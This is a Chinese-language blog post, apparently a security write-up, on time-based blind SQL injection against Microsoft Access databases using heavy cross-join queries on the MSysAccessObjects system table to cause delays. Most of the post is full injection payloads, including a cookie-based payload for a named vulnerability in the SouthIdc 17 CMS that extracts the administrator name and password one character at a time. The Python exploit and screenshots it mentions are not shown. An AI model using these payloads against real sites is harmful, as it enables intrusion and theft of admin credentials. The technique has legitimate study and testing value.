- A+
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程式之一。
0×00 概述
众所周知,access数据库是不支持基于时间的盲注方式,但是我们可以利用access的系统表MSysAccessObjects,通过多负荷查询(Heavy Queries)的方式实现。
0×01 初步探究
我们以SouthIdcv17数据库为例
执行 select * from Southidc_About ,返回结果如下图。
如何实现time base injection 呢?我们就要利用这条语句
SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12
具体实现方式如下:
select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97
我们可以执行一次,观察效果。
很明显,经历了大约40s才返回结果
当我们执行如下语句时,也就是把最后的97改为96
select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=96
很快就执行完毕,没有延时。
很明显,我们通过where条件后的
(SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0
实现了延时,但需要注意的是这里where后的条件是有顺序的,实现延时的语句必须在
(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97
之前,为什么呢?实验得出的结论。
0×02 实例实现
在SouthIdc 17 中,有一处sql注入漏洞,但是常规的方法并不能成功利用漏洞。漏洞代码如下:
虽然程序把Post和Get的数据进行了过滤,但是我们依旧我可以通过Cookie的提交方式进行注入。
好,我们实现一下注入利用。
我们需要注入的语句为:
select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc
通过提交cookie
Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image
ParentID为程序上部传进的值,最终的语句为:
select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1
我们可以在查询器中看一下效果
96时,不延时,如图:
97时延时,效果如下图:
接下来,我们可以利用上述语句进行exp的编写,笔者这里用python
核心代码如下:
Exp效果如下图:
0×03 总结
总之,access数据库基于时间的盲注是可以利用上述语句实现的,当然是利用多负荷查询实现延时的,本地测试和远程测试的延时是有差别的,
可以通过增加负荷语句来延长时间,这里就不举例了。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫